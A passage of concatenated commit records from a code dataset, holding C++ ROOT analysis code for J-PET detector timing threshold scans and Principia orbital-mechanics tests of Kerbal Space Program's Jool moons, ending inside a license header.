<<\"-\"<<energyCuts[1];\n else if (energyCuts.size() == 1 )\n buf << energyCuts[0] << \"-inf\";\n gStyle->SetOptFit(1);\n\n TString path = \"ThresholdScan\" + filePath+buf.str() + \"\/\";\n TUnixSystem* system = new TUnixSystem();\n system->mkdir( (std::string(path)).c_str(), 1);\n\n std::string title = buf.str();\n title+=name;\n\n TH1F* energy = new TH1F( title.c_str(), title.c_str() , 250, 0, 500);\n\n for(unsigned int i = 0; i < data.size(); i++){\n energy->Fill( data[i] );\n }\n TCanvas* c1 = new TCanvas();\n energy->Draw();\n c1->SaveAs( ((std::string)path+title+\".png\").c_str() );\n\n delete energy;\n}\n\nvoid thresholdScan::plotHistosAndGraphs( std::vector<std::vector<double> >& data, std::string name)\n{\n std::vector<double> resolutions;\n std::vector<double> chi2;\n\n TString filePath = fHeader->getBaseFileName();\n filePath = filePath(filePath.Last('\/')+1, filePath.Length()-1);\n filePath = filePath(0, filePath.Last('.'));\n\n std::stringstream buf;\n buf << fHeader->getSourcePosition();\n \tif( energyCuts.size() == 2 )\n\t\tbuf <<\"_\"<< energyCuts[0] <<\"-\"<<energyCuts[1];\n\telse if (energyCuts.size() == 1 )\n\t\tbuf << \"_\" <<energyCuts[0] << \"-inf\";\n gStyle->SetOptFit(1);\n\n TString path = \"ThresholdScan\" + filePath+buf.str() + \"\/\";\n TUnixSystem* system = new TUnixSystem();\n system->mkdir( (std::string(path)).c_str(), 1);\n\n for(unsigned int j = 0; j < fThresholds.size(); j++){\n double thr = fThresholds[j];\n std::stringstream buf; buf << thr;\n std::string title = buf.str();\n title+=\"mV\";\n\t title+=name;\n\n\n TH1F* deltaT = new TH1F( title.c_str(), title.c_str() , 200, -5000, 5000);\n\n for(unsigned int i = 0; i < data[j].size(); i++){\n\t\tif( 0 == data[j].size())\n\t\t break;\n if( data[j][i] != 0 )\n deltaT->Fill( data[j][i] );\n }\n\t\n TCanvas* c1 = new TCanvas();\n\t deltaT->Sumw2();\n\tdouble eventsNotInRange = deltaT->GetBinContent(0) + deltaT->GetBinContent(201);\n\tif( eventsNotInRange != deltaT->GetEntries() )\n\t{\n\t\tstd::cout<< deltaT->GetEntries() << std::endl;\n\t deltaT->Fit(\"gaus\",\"QI\");\n \t\tresolutions.push_back( (double)deltaT->GetFunction(\"gaus\")->GetParameter(2) );\n\t\tchi2.push_back( ( (double)deltaT->GetFunction(\"gaus\")->GetChisquare() ) \/ ( (double)deltaT->GetFunction(\"gaus\")->GetNDF() ) );\n\t}\n\telse\n\t{\n\t\tresolutions.push_back(0);\n\t\tchi2.push_back(0);\n\t}\n deltaT->Draw();\n\ttitle+=buf.str();\n c1->SaveAs( ((std::string)path+title+\".png\").c_str() );\n\n delete deltaT;\n }\n\n std::ofstream outFile;\n\n outFile.open( ((std::string)path+name + \"resolutions\"+buf.str()+\".txt\").c_str() );\n\n for(unsigned int i = 0; i < resolutions.size(); i++){\n outFile << fThresholds[i] << \"\\t\"<< resolutions[i] << \"\\t\" << chi2[i] << std::endl;\n }\n\n outFile.close();\n\n TCanvas* c1 = new TCanvas();\n TGraph* resGraph = new TGraph(resolutions.size(),&fThresholds[0], &resolutions[0]);\n resGraph->SetTitle( \"\" );\n resGraph->SetMarkerStyle(21);\n resGraph->SetMarkerSize(1.4);\n resGraph->GetXaxis()->SetTitle(\"Threshold [mV]\");\n resGraph->GetYaxis()->SetTitle(\"Time difference resolution [ps]\");\n resGraph->GetXaxis()->SetLabelFont(42);\n resGraph->GetYaxis()->SetLabelFont(42);\n resGraph->GetXaxis()->SetLabelSize(0.06);\n resGraph->GetYaxis()->SetLabelSize(0.06);\n resGraph->GetYaxis()->SetTitleOffset(1.2);\n resGraph->GetXaxis()->SetTitleFont(42);\n resGraph->GetYaxis()->SetTitleFont(42);\n resGraph->GetXaxis()->SetTitleSize(0.06);\n resGraph->GetYaxis()->SetTitleSize(0.06);\n\n c1->SetLeftMargin(0.1716621);\n c1->SetRightMargin(0.02815622);\n c1->SetTopMargin(0.02572016);\n c1->SetBottomMargin(0.1738683);\n\n \n resGraph->Draw(\"AP\");\n c1->SaveAs( ((std::string)path+name+buf.str()+\"graph.root\").c_str() );\n resGraph->Draw(\"AP\");\n c1->SaveAs( ((std::string)path+name+\"graph.png\").c_str() );\n\n delete resGraph;\n\n}\n\n<commit_msg>Clean commented code<commit_after>#include \".\/thresholdScan.h\"\n\nClassImp(thresholdScan);\n\n\/\/standard constructor from AnalysisModule\nthresholdScan::thresholdScan(const char* name, const char* title,\n const char* in_file_suffix, const char* out_file_suffix, const std::vector<double>& thresholds, const std::vector<double>& eCut)\n : JPetCommonAnalysisModule(name, title, in_file_suffix, out_file_suffix)\n{\n setVersion(MODULE_VERSION);\n fThresholds = thresholds;\n energyCuts = eCut;\n}\n\n\/\/no specific destructor needed\nthresholdScan::~thresholdScan()\n{\n}\n\nvoid thresholdScan::begin()\n{\n\tfor( unsigned int i = 0; i < fThresholds.size(); i++ ){\n\t\tstd::vector<double> k;\n\t\tfDeltaTimesForThresholdsTop.push_back( k );\n\t\tfDeltaTimesForThresholdsBottom.push_back( k );\n\t}\n}\n\nvoid thresholdScan::exec()\n{\n\n \/\/ Take next entry \n fReader->getEntry(fEvent);\n\n \/\/ Cast data from the entry into JPetLOR\n const JPetLOR& lor = (JPetLOR&) fReader->getData();\n\n std::cout << \"Doing optimisation for: \" << lor.getFirstHit().getSignalA().getPM().getID() << \" and \" \n << lor.getFirstHit().getSignalB().getPM().getID() << std::endl; \n \n \/\/ Extract signals\n const JPetRecoSignal& signalFirst = lor.getFirstHit().getSignalA().getRecoSignal();\n const JPetRecoSignal& signalSecond = lor.getFirstHit().getSignalB().getRecoSignal();\n const JPetRecoSignal& signalThird = lor.getSecondHit().getSignalA().getRecoSignal();\n const JPetRecoSignal& signalFourth = lor.getSecondHit().getSignalB().getRecoSignal();\n\n const JPetHit& hitFirst = lor.getFirstHit();\n const JPetHit& hitSecond = lor.getSecondHit();\n\tdouble energyT = hitFirst.getEnergy();\n\tdouble energyB = hitSecond.getEnergy();\n\tdouble chargeOne = signalFirst.getCharge();\n\tdouble chargeTwo = signalSecond.getCharge();\n\tdouble ampOne = signalFirst.getAmplitude();\n\tdouble ampTwo = signalSecond.getAmplitude();\n\n \/\/ Save times from signals to file\n for( unsigned int i = 0; i < fThresholds.size(); i++)\n {\n\/\/ if(energyCuts.size() == 2)\n\/\/ {\n\/\/ \tif( chargeOne > 352 && chargeTwo > 395 )\n\/\/ \tif( ampOne > 350 && ampTwo > 350 )\n\/\/ \t{\n\t\tfDeltaTimesForThresholdsTop[i].push_back( signalFirst.getRecoTimeAtThreshold( (double)fThresholds[i] ) - signalThird.getRecoTimeAtThreshold( (double)fThresholds[i] ) ); \n\/\/ \t}\n\n\t\tfDeltaTimesForThresholdsBottom[i].push_back( signalFirst.getRecoTimeAtThreshold( (double)fThresholds[i] ) - signalSecond.getRecoTimeAtThreshold( (double)fThresholds[i] ) ); \n\n }\n fEvent++;\n}\n\nvoid thresholdScan::end()\n{\n\n\tplotHistosAndGraphs( fDeltaTimesForThresholdsTop, \"_TOP_\");\n\tplotHistosAndGraphs( fDeltaTimesForThresholdsBottom, \"_BOTTOM_\");\n\tplotEnergyCuts(energyTop, \"_TOP_\");\n\tplotEnergyCuts(energyBottom, \"_BOTTOM_\");\n}\n\nvoid thresholdScan::plotEnergyCuts( std::vector<double>& data, std::string name)\n{\n TString filePath = fHeader->getBaseFileName();\n filePath = filePath(filePath.Last('\/')+1, filePath.Length()-1);\n filePath = filePath(0, filePath.Last('.'));\n\n std::stringstream buf;\n buf << fHeader->getSourcePosition();\n buf << \"_\";\n if( energyCuts.size() == 2 )\n buf << energyCuts[0] <<\"-\"<<energyCuts[1];\n else if (energyCuts.size() == 1 )\n buf << energyCuts[0] << \"-inf\";\n gStyle->SetOptFit(1);\n\n TString path = \"ThresholdScan\" + filePath+buf.str() + \"\/\";\n TUnixSystem* system = new TUnixSystem();\n system->mkdir( (std::string(path)).c_str(), 1);\n\n std::string title = buf.str();\n title+=name;\n\n TH1F* energy = new TH1F( title.c_str(), title.c_str() , 250, 0, 500);\n\n for(unsigned int i = 0; i < data.size(); i++){\n energy->Fill( data[i] );\n }\n TCanvas* c1 = new TCanvas();\n energy->Draw();\n c1->SaveAs( ((std::string)path+title+\".png\").c_str() );\n\n delete energy;\n}\n\nvoid thresholdScan::plotHistosAndGraphs( std::vector<std::vector<double> >& data, std::string name)\n{\n std::vector<double> resolutions;\n std::vector<double> chi2;\n\n TString filePath = fHeader->getBaseFileName();\n filePath = filePath(filePath.Last('\/')+1, filePath.Length()-1);\n filePath = filePath(0, filePath.Last('.'));\n\n std::stringstream buf;\n buf << fHeader->getSourcePosition();\n \tif( energyCuts.size() == 2 )\n\t\tbuf <<\"_\"<< energyCuts[0] <<\"-\"<<energyCuts[1];\n\telse if (energyCuts.size() == 1 )\n\t\tbuf << \"_\" <<energyCuts[0] << \"-inf\";\n gStyle->SetOptFit(1);\n\n TString path = \"ThresholdScan\" + filePath+buf.str() + \"\/\";\n TUnixSystem* system = new TUnixSystem();\n system->mkdir( (std::string(path)).c_str(), 1);\n\n for(unsigned int j = 0; j < fThresholds.size(); j++){\n double thr = fThresholds[j];\n std::stringstream buf; buf << thr;\n std::string title = buf.str();\n title+=\"mV\";\n\t title+=name;\n\n\n TH1F* deltaT = new TH1F( title.c_str(), title.c_str() , 400, -10000, 10000);\n\n for(unsigned int i = 0; i < data[j].size(); i++){\n\t\tif( 0 == data[j].size())\n\t\t break;\n if( data[j][i] != 0 )\n deltaT->Fill( data[j][i] );\n }\n\t\n TCanvas* c1 = new TCanvas();\n\t deltaT->Sumw2();\n\tdouble eventsNotInRange = deltaT->GetBinContent(0) + deltaT->GetBinContent(201);\n\tif( eventsNotInRange != deltaT->GetEntries() )\n\t{\n\t\tstd::cout<< deltaT->GetEntries() << std::endl;\n\t deltaT->Fit(\"gaus\",\"QI\");\n \t\tresolutions.push_back( (double)deltaT->GetFunction(\"gaus\")->GetParameter(2) );\n\t\tchi2.push_back( ( (double)deltaT->GetFunction(\"gaus\")->GetChisquare() ) \/ ( (double)deltaT->GetFunction(\"gaus\")->GetNDF() ) );\n\t}\n\telse\n\t{\n\t\tresolutions.push_back(0);\n\t\tchi2.push_back(0);\n\t}\n deltaT->Draw();\n\ttitle+=buf.str();\n c1->SaveAs( ((std::string)path+title+\".png\").c_str() );\n\n delete deltaT;\n }\n\n std::ofstream outFile;\n\n outFile.open( ((std::string)path+name + \"resolutions\"+buf.str()+\".txt\").c_str() );\n\n for(unsigned int i = 0; i < resolutions.size(); i++){\n outFile << fThresholds[i] << \"\\t\"<< resolutions[i] << \"\\t\" << chi2[i] << std::endl;\n }\n\n outFile.close();\n\n TCanvas* c1 = new TCanvas();\n TGraph* resGraph = new TGraph(resolutions.size(),&fThresholds[0], &resolutions[0]);\n resGraph->SetTitle( \"\" );\n resGraph->SetMarkerStyle(21);\n resGraph->SetMarkerSize(1.4);\n resGraph->GetXaxis()->SetTitle(\"Threshold [mV]\");\n resGraph->GetYaxis()->SetTitle(\"Time difference resolution [ps]\");\n resGraph->GetXaxis()->SetLabelFont(42);\n resGraph->GetYaxis()->SetLabelFont(42);\n resGraph->GetXaxis()->SetLabelSize(0.06);\n resGraph->GetYaxis()->SetLabelSize(0.06);\n resGraph->GetYaxis()->SetTitleOffset(1.2);\n resGraph->GetXaxis()->SetTitleFont(42);\n resGraph->GetYaxis()->SetTitleFont(42);\n resGraph->GetXaxis()->SetTitleSize(0.06);\n resGraph->GetYaxis()->SetTitleSize(0.06);\n\n c1->SetLeftMargin(0.1716621);\n c1->SetRightMargin(0.02815622);\n c1->SetTopMargin(0.02572016);\n c1->SetBottomMargin(0.1738683);\n\n \n resGraph->Draw(\"AP\");\n c1->SaveAs( ((std::string)path+name+buf.str()+\"graph.root\").c_str() );\n resGraph->Draw(\"AP\");\n c1->SaveAs( ((std::string)path+name+\"graph.png\").c_str() );\n\n delete resGraph;\n\n}\n\n<|endoftext|>"} {"text":"<commit_before><commit_msg>All overflow scrolls should clear the scroll anchor, not just the root layer.<commit_after><|endoftext|>"} {"text":"<commit_before>#include \"physics\/kepler_orbit.hpp\"\n#include \"gmock\/gmock.h\"\n#include \"gtest\/gtest.h\"\n#include \"mathematica\/mathematica.hpp\"\n#include \"physics\/solar_system.hpp\"\n#include \"testing_utilities\/almost_equals.hpp\"\n\nnamespace principia {\n\nusing integrators::McLachlanAtela1992Order5Optimal;\nusing quantities::si::Degree;\nusing quantities::si::Kilo;\nusing quantities::si::Metre;\nusing quantities::si::Milli;\n\nnamespace physics {\n\nclass ResonanceTest : public ::testing::Test {\n protected:\n using KSP =\n Frame<serialization::Frame::TestTag, serialization::Frame::TEST, true>;\n\n \/\/ Gravitational parameters from the KSP wiki.\n ResonanceTest()\n : sun_(AddBody(1.1723328E+18 * Pow<3>(Metre) \/ Pow<2>(Second))),\n jool_(AddBody(2.8252800E+14 * Pow<3>(Metre) \/ Pow<2>(Second))),\n laythe_(AddBody(1.9620000E+12 * Pow<3>(Metre) \/ Pow<2>(Second))),\n vall_(AddBody(2.0748150E+11 * Pow<3>(Metre) \/ Pow<2>(Second))),\n tylo_(AddBody(2.8252800E+12 * Pow<3>(Metre) \/ Pow<2>(Second))),\n bop_(AddBody(2.4868349E+09 * Pow<3>(Metre) \/ Pow<2>(Second))),\n pol_(AddBody(7.2170208E+08 * Pow<3>(Metre) \/ Pow<2>(Second))) {\n \/\/ Elements from the KSP wiki.\n jool_elements_.eccentricity = 0.05;\n jool_elements_.semimajor_axis = 68'773'560'320 * Metre;\n jool_elements_.inclination = 1.304 * Degree;\n jool_elements_.longitude_of_ascending_node = 52 * Degree;\n jool_elements_.argument_of_periapsis = 0 * Degree;\n jool_elements_.mean_anomaly = 0.1 * Radian;\n laythe_elements_.eccentricity = 0;\n laythe_elements_.semimajor_axis = 27'184'000 * Metre;\n laythe_elements_.inclination = 0 * Degree;\n laythe_elements_.longitude_of_ascending_node = 0 * Degree;\n laythe_elements_.argument_of_periapsis = 0 * Degree;\n laythe_elements_.mean_anomaly = 3.14 * Radian;\n vall_elements_.eccentricity = 0;\n vall_elements_.semimajor_axis = 43'152'000 * Metre;\n vall_elements_.inclination = 0 * Degree;\n vall_elements_.longitude_of_ascending_node = 0 * Degree;\n vall_elements_.argument_of_periapsis = 0 * Degree;\n vall_elements_.mean_anomaly = 0.9 * Radian;\n tylo_elements_.eccentricity = 0;\n tylo_elements_.semimajor_axis = 68'500'000 * Metre;\n tylo_elements_.inclination = 0.025 * Degree;\n tylo_elements_.longitude_of_ascending_node = 0 * Degree;\n tylo_elements_.argument_of_periapsis = 0 * Degree;\n tylo_elements_.mean_anomaly = 3.14 * Radian;\n bop_elements_.eccentricity = 0.24;\n bop_elements_.semimajor_axis = 128'500'000 * Metre;\n bop_elements_.inclination = 15 * Degree;\n bop_elements_.longitude_of_ascending_node = 10 * Degree;\n bop_elements_.argument_of_periapsis = 25 * Degree;\n bop_elements_.mean_anomaly = 0.9 * Radian;\n pol_elements_.eccentricity = 0.17;\n pol_elements_.semimajor_axis = 179'890'000 * Metre;\n pol_elements_.inclination = 4.25 * Degree;\n pol_elements_.longitude_of_ascending_node = 2 * Degree;\n pol_elements_.argument_of_periapsis = 15 * Degree;\n pol_elements_.mean_anomaly = 0.9 * Radian;\n }\n\n std::vector<not_null<std::unique_ptr<MassiveBody const>>> bodies_;\n not_null<MassiveBody const *> const sun_, jool_, laythe_, vall_, tylo_, bop_,\n pol_;\n MasslessBody test_particle_;\n Instant const game_epoch_;\n DegreesOfFreedom<KSP> const origin_ = {KSP::origin, Velocity<KSP>()};\n KeplerianElements<KSP> jool_elements_, laythe_elements_, vall_elements_,\n tylo_elements_, bop_elements_, pol_elements_;\n\n private:\n not_null<MassiveBody const*> AddBody(GravitationalParameter const& μ) {\n bodies_.emplace_back(make_not_null_unique<MassiveBody>(μ));\n return bodies_.back().get();\n }\n};\n\n\nTEST_F(ResonanceTest, JoolSystem) {\n auto const stock_jool_orbit =\n KeplerOrbit<KSP>(*sun_, test_particle_, game_epoch_, jool_elements_);\n auto const stock_laythe_orbit =\n KeplerOrbit<KSP>(*jool_, test_particle_, game_epoch_, laythe_elements_);\n auto const stock_vall_orbit =\n KeplerOrbit<KSP>(*jool_, test_particle_, game_epoch_, vall_elements_);\n auto const stock_tylo_orbit =\n KeplerOrbit<KSP>(*jool_, test_particle_, game_epoch_, tylo_elements_);\n auto const stock_bop_orbit =\n KeplerOrbit<KSP>(*jool_, test_particle_, game_epoch_, bop_elements_);\n auto const stock_pol_orbit = \n KeplerOrbit<KSP>(*jool_, test_particle_, game_epoch_, pol_elements_);\n\n auto const stock_jool_initial_state =\n origin_ + stock_jool_orbit.PrimocentricStateVectors(game_epoch_);\n Ephemeris<KSP> stock_ephemeris(\n std::move(bodies_),\n {origin_,\n stock_jool_initial_state,\n stock_jool_initial_state +\n stock_laythe_orbit.PrimocentricStateVectors(game_epoch_),\n stock_jool_initial_state +\n stock_vall_orbit.PrimocentricStateVectors(game_epoch_),\n stock_jool_initial_state +\n stock_tylo_orbit.PrimocentricStateVectors(game_epoch_),\n stock_jool_initial_state +\n stock_bop_orbit.PrimocentricStateVectors(game_epoch_),\n stock_jool_initial_state +\n stock_pol_orbit.PrimocentricStateVectors(game_epoch_)},\n game_epoch_,\n McLachlanAtela1992Order5Optimal<Position<KSP>>(),\n 45 * Minute,\n 5 * Milli(Metre));\n stock_ephemeris.Prolong(game_epoch_ + 90 * Day);\n std::vector<Instant> times;\n std::vector<std::vector<Displacement<KSP>>> displacements;\n for (Instant t = game_epoch_; t < game_epoch_ + 90 * Day; t += 45 * Minute) {\n auto const position = [&stock_ephemeris, t](\n not_null<MassiveBody const*> body) {\n return stock_ephemeris.trajectory(body)->EvaluatePosition(t, nullptr);\n };\n auto const barycentre = Barycentre<Position<KSP>, Mass>(\n {position(jool_), position(laythe_), position(vall_), position(tylo_),\n position(bop_), position(pol_)},\n {jool_->mass(), laythe_->mass(), vall_->mass(), tylo_->mass(),\n bop_->mass(), pol_->mass()});\n times.emplace_back(t);\n displacements.push_back(\n {position(jool_) - barycentre, position(laythe_) - barycentre,\n position(vall_) - barycentre, position(tylo_) - barycentre,\n position(bop_) - barycentre, position(pol_) - barycentre});\n }\n std::ofstream file;\n file.open(\"stock_jool.wl\");\n file << mathematica::Assign(\"q\", displacements);\n file << mathematica::Assign(\"t\", times);\n file.close();\n \/\/ fails.\n stock_ephemeris.Prolong(game_epoch_ + 100 * Day);\n}\n\n} \/\/ namespace physics\n} \/\/ namespace principia\n<commit_msg>first correction that's not strictly worse than stock...<commit_after>#include \"physics\/kepler_orbit.hpp\"\n#include \"gmock\/gmock.h\"\n#include \"gtest\/gtest.h\"\n#include \"mathematica\/mathematica.hpp\"\n#include \"physics\/solar_system.hpp\"\n#include \"testing_utilities\/almost_equals.hpp\"\n\nnamespace principia {\n\nusing integrators::McLachlanAtela1992Order5Optimal;\nusing quantities::si::Degree;\nusing quantities::si::Kilo;\nusing quantities::si::Metre;\nusing quantities::si::Milli;\n\nnamespace physics {\n\nclass ResonanceTest : public ::testing::Test {\n protected:\n using KSP =\n Frame<serialization::Frame::TestTag, serialization::Frame::TEST, true>;\n\n \/\/ Gravitational parameters from the KSP wiki.\n ResonanceTest()\n : sun_(AddBody(1.1723328E+18 * Pow<3>(Metre) \/ Pow<2>(Second))),\n jool_(AddBody(2.8252800E+14 * Pow<3>(Metre) \/ Pow<2>(Second))),\n laythe_(AddBody(1.9620000E+12 * Pow<3>(Metre) \/ Pow<2>(Second))),\n vall_(AddBody(2.0748150E+11 * Pow<3>(Metre) \/ Pow<2>(Second))),\n tylo_(AddBody(2.8252800E+12 * Pow<3>(Metre) \/ Pow<2>(Second))),\n bop_(AddBody(2.4868349E+09 * Pow<3>(Metre) \/ Pow<2>(Second))),\n pol_(AddBody(7.2170208E+08 * Pow<3>(Metre) \/ Pow<2>(Second))) {\n \/\/ Elements from the KSP wiki.\n jool_elements_.eccentricity = 0.05;\n jool_elements_.semimajor_axis = 68'773'560'320 * Metre;\n jool_elements_.inclination = 1.304 * Degree;\n jool_elements_.longitude_of_ascending_node = 52 * Degree;\n jool_elements_.argument_of_periapsis = 0 * Degree;\n jool_elements_.mean_anomaly = 0.1 * Radian;\n laythe_elements_.eccentricity = 0;\n laythe_elements_.semimajor_axis = 27'184'000 * Metre;\n laythe_elements_.inclination = 0 * Degree;\n laythe_elements_.longitude_of_ascending_node = 0 * Degree;\n laythe_elements_.argument_of_periapsis = 0 * Degree;\n laythe_elements_.mean_anomaly = 3.14 * Radian;\n vall_elements_.eccentricity = 0;\n vall_elements_.semimajor_axis = 43'152'000 * Metre;\n vall_elements_.inclination = 0 * Degree;\n vall_elements_.longitude_of_ascending_node = 0 * Degree;\n vall_elements_.argument_of_periapsis = 0 * Degree;\n vall_elements_.mean_anomaly = 0.9 * Radian;\n tylo_elements_.eccentricity = 0;\n tylo_elements_.semimajor_axis = 68'500'000 * Metre;\n tylo_elements_.inclination = 0.025 * Degree;\n tylo_elements_.longitude_of_ascending_node = 0 * Degree;\n tylo_elements_.argument_of_periapsis = 0 * Degree;\n tylo_elements_.mean_anomaly = 3.14 * Radian;\n bop_elements_.eccentricity = 0.24;\n bop_elements_.semimajor_axis = 128'500'000 * Metre;\n bop_elements_.inclination = 15 * Degree;\n bop_elements_.longitude_of_ascending_node = 10 * Degree;\n bop_elements_.argument_of_periapsis = 25 * Degree;\n bop_elements_.mean_anomaly = 0.9 * Radian;\n pol_elements_.eccentricity = 0.17;\n pol_elements_.semimajor_axis = 179'890'000 * Metre;\n pol_elements_.inclination = 4.25 * Degree;\n pol_elements_.longitude_of_ascending_node = 2 * Degree;\n pol_elements_.argument_of_periapsis = 15 * Degree;\n pol_elements_.mean_anomaly = 0.9 * Radian;\n }\n\n std::vector<not_null<std::unique_ptr<MassiveBody const>>> bodies_;\n not_null<MassiveBody const *> const sun_, jool_, laythe_, vall_, tylo_, bop_,\n pol_;\n MasslessBody test_particle_;\n Instant const game_epoch_;\n DegreesOfFreedom<KSP> const origin_ = {KSP::origin, Velocity<KSP>()};\n KeplerianElements<KSP> jool_elements_, laythe_elements_, vall_elements_,\n tylo_elements_, bop_elements_, pol_elements_;\n\n private:\n not_null<MassiveBody const*> AddBody(GravitationalParameter const& μ) {\n bodies_.emplace_back(make_not_null_unique<MassiveBody>(μ));\n return bodies_.back().get();\n }\n};\n\n\nTEST_F(ResonanceTest, StockJoolSystem) {\n auto const jool_orbit =\n KeplerOrbit<KSP>(*sun_, test_particle_, game_epoch_, jool_elements_);\n auto const laythe_orbit =\n KeplerOrbit<KSP>(*jool_, test_particle_, game_epoch_, laythe_elements_);\n auto const vall_orbit =\n KeplerOrbit<KSP>(*jool_, test_particle_, game_epoch_, vall_elements_);\n auto const tylo_orbit =\n KeplerOrbit<KSP>(*jool_, test_particle_, game_epoch_, tylo_elements_);\n auto const bop_orbit =\n KeplerOrbit<KSP>(*jool_, test_particle_, game_epoch_, bop_elements_);\n auto const pol_orbit = \n KeplerOrbit<KSP>(*jool_, test_particle_, game_epoch_, pol_elements_);\n\n auto const jool_initial_state =\n origin_ + jool_orbit.PrimocentricStateVectors(game_epoch_);\n Ephemeris<KSP> ephemeris(\n std::move(bodies_),\n {origin_,\n jool_initial_state,\n jool_initial_state + laythe_orbit.PrimocentricStateVectors(game_epoch_),\n jool_initial_state + vall_orbit.PrimocentricStateVectors(game_epoch_),\n jool_initial_state + tylo_orbit.PrimocentricStateVectors(game_epoch_),\n jool_initial_state + bop_orbit.PrimocentricStateVectors(game_epoch_),\n jool_initial_state + pol_orbit.PrimocentricStateVectors(game_epoch_)},\n game_epoch_,\n McLachlanAtela1992Order5Optimal<Position<KSP>>(),\n 45 * Minute,\n 5 * Milli(Metre));\n ephemeris.Prolong(game_epoch_ + 90 * Day);\n std::vector<Instant> times;\n std::vector<std::vector<Displacement<KSP>>> displacements;\n for (Instant t = game_epoch_; t < game_epoch_ + 90 * Day; t += 45 * Minute) {\n auto const position = [&ephemeris, t](\n not_null<MassiveBody const*> body) {\n return ephemeris.trajectory(body)->EvaluatePosition(t, nullptr);\n };\n auto const barycentre = Barycentre<Position<KSP>, Mass>(\n {position(jool_), position(laythe_), position(vall_), position(tylo_),\n position(bop_), position(pol_)},\n {jool_->mass(), laythe_->mass(), vall_->mass(), tylo_->mass(),\n bop_->mass(), pol_->mass()});\n times.emplace_back(t);\n displacements.push_back(\n {position(jool_) - barycentre, position(laythe_) - barycentre,\n position(vall_) - barycentre, position(tylo_) - barycentre,\n position(bop_) - barycentre, position(pol_) - barycentre});\n }\n std::ofstream file;\n file.open(\"stock_jool.wl\");\n file << mathematica::Assign(\"q\", displacements);\n file << mathematica::Assign(\"t\", times);\n file.close();\n \/\/ fails.\n ephemeris.Prolong(game_epoch_ + 100 * Day);\n}\n\nTEST_F(ResonanceTest, BarycentricJoolSystem) {\n auto const jool_orbit =\n KeplerOrbit<KSP>(*sun_, *jool_, game_epoch_, jool_elements_);\n auto const laythe_orbit =\n KeplerOrbit<KSP>(*jool_, *laythe_, game_epoch_, laythe_elements_);\n MassiveBody jool_1(jool_->gravitational_parameter() +\n laythe_->gravitational_parameter());\n auto const vall_orbit =\n KeplerOrbit<KSP>(jool_1, *vall_, game_epoch_, vall_elements_);\n MassiveBody jool_2(jool_1.gravitational_parameter() +\n vall_->gravitational_parameter());\n auto const tylo_orbit =\n KeplerOrbit<KSP>(jool_2, *tylo_, game_epoch_, tylo_elements_);\n MassiveBody jool_3(jool_2.gravitational_parameter() +\n tylo_->gravitational_parameter());\n auto const bop_orbit =\n KeplerOrbit<KSP>(jool_3, *bop_, game_epoch_, bop_elements_);\n MassiveBody jool_4(jool_3.gravitational_parameter() +\n bop_->gravitational_parameter());\n auto const pol_orbit = \n KeplerOrbit<KSP>(jool_4, *pol_, game_epoch_, pol_elements_);\n\n auto const jool_barycentre_initial_state =\n origin_ + jool_orbit.BarycentricStateVectors(game_epoch_);\n auto const laythe_from_barycentre =\n laythe_orbit.BarycentricStateVectors(game_epoch_);\n auto const vall_from_barycentre =\n vall_orbit.BarycentricStateVectors(game_epoch_);\n auto const tylo_from_barycentre =\n tylo_orbit.BarycentricStateVectors(game_epoch_);\n auto const bop_from_barycentre =\n bop_orbit.BarycentricStateVectors(game_epoch_);\n auto const pol_from_barycentre =\n pol_orbit.BarycentricStateVectors(game_epoch_);\n auto const jool_initial_state = jool_barycentre_initial_state -\n (laythe_from_barycentre * laythe_->mass() +\n vall_from_barycentre * vall_->mass() +\n tylo_from_barycentre * tylo_->mass() +\n bop_from_barycentre * bop_->mass() +\n pol_from_barycentre * pol_->mass()) \/\n jool_->mass();\n Ephemeris<KSP> ephemeris(\n std::move(bodies_),\n {origin_, \/\/ TODO: not actually here\n jool_initial_state,\n jool_barycentre_initial_state + laythe_from_barycentre,\n jool_barycentre_initial_state + vall_from_barycentre,\n jool_barycentre_initial_state + tylo_from_barycentre,\n jool_barycentre_initial_state + bop_from_barycentre,\n jool_barycentre_initial_state + pol_from_barycentre},\n game_epoch_,\n McLachlanAtela1992Order5Optimal<Position<KSP>>(),\n 45 * Minute,\n 5 * Milli(Metre));\n ephemeris.Prolong(game_epoch_ + 90 * Day);\n std::vector<Instant> times;\n std::vector<std::vector<Displacement<KSP>>> displacements;\n for (Instant t = game_epoch_; t < game_epoch_ + 90 * Day; t += 45 * Minute) {\n auto const position = [&ephemeris, t](\n not_null<MassiveBody const*> body) {\n return ephemeris.trajectory(body)->EvaluatePosition(t, nullptr);\n };\n auto const barycentre = Barycentre<Position<KSP>, Mass>(\n {position(jool_), position(laythe_), position(vall_), position(tylo_),\n position(bop_), position(pol_)},\n {jool_->mass(), laythe_->mass(), vall_->mass(), tylo_->mass(),\n bop_->mass(), pol_->mass()});\n times.emplace_back(t);\n displacements.push_back(\n {position(jool_) - barycentre, position(laythe_) - barycentre,\n position(vall_) - barycentre, position(tylo_) - barycentre,\n position(bop_) - barycentre, position(pol_) - barycentre});\n }\n std::ofstream file;\n file.open(\"corrected_jool.wl\");\n file << mathematica::Assign(\"q\", displacements);\n file << mathematica::Assign(\"t\", times);\n file.close();\n \/\/ fails.\n ephemeris.Prolong(game_epoch_ + 100 * Day);\n}\n\n} \/\/ namespace physics\n} \/\/ namespace principia\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Copyright (c) 2007-2012, Timothy Stack\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n * * Neither the name of Timothy Stack nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ''AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF 